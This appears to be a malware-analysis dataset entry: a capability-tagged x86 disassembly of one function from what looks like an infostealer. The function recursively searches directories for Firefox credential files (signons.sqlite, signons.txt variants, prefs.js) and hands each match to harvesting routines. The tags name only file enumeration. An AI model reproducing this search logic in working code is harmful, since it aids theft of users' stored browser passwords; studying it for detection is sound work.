Function at 0x409a00
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
and eax, eax
je 0x409a1f
cmp byte [eax], 0
jne 0x409a24
jmp 0x409ca9
push dword [ebp + 0x14]
call fcn.004025f8
and eax, eax
jne 0x409a3f
push str..
push dword [ebp + 0x14]
call fcn.00401e36
jmp 0x409a4c
push 0x4168e3
push dword [ebp + 0x14]
call fcn.00401e36
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.00401924
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x409ca9
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x409b17
lea eax, [edx + 0x2c]
push eax
push 0x4168d9
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x409aab
jmp 0x409c84
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4168db
call sub.KERNEL32.DLL_lstrcmpiA
and eax, eax
jne 0x409ac8
jmp 0x409c84
push dword [ebp + 0x14]
call fcn.004025f8
and eax, eax
jne 0x409ae3
push 0x416141
push dword [ebp + 0x14]
call fcn.00401e36
jmp 0x409aed
push 0
push dword [ebp + 0x14]
call fcn.00401e36
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401e8a
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409a00
call fcn.004018f6
jmp 0x409c84
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x409b61
push 0x416141
push dword [ebp + 0x14]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
cmp dword [0x4178d7], 3
jne 0x409bb0
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x409bab
push 0x416141
push dword [ebp + 0x14]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.004044f8
call fcn.004018f6
jmp 0x409c84
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x409bf2
push 0x416141
push dword [ebp + 0x14]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.00409603
call fcn.004018f6
push dword [ebp - 0x14c]
call sub.KERNEL32.DLL_lstrlenA
cmp eax, 2
jb 0x409c16
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x409c16
jmp 0x409c56
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
and eax, eax
jne 0x409c56
and edx, edx
jne 0x409c56
and ecx, ecx
je 0x409c84
push 0x416141
push dword [ebp + 0x14]
call fcn.00401e36
push dword [ebp - 0x14c]
push eax
call fcn.00401e8a
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.0040968e
call fcn.004018f6
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindNextFileA
test eax, eax
jne 0x409a82
push dword [ebp - 0x144]
call sub.KERNEL32.DLL_FindClose
push dword [ebp - 0x148]
call fcn.004018f6
leave
ret 0x10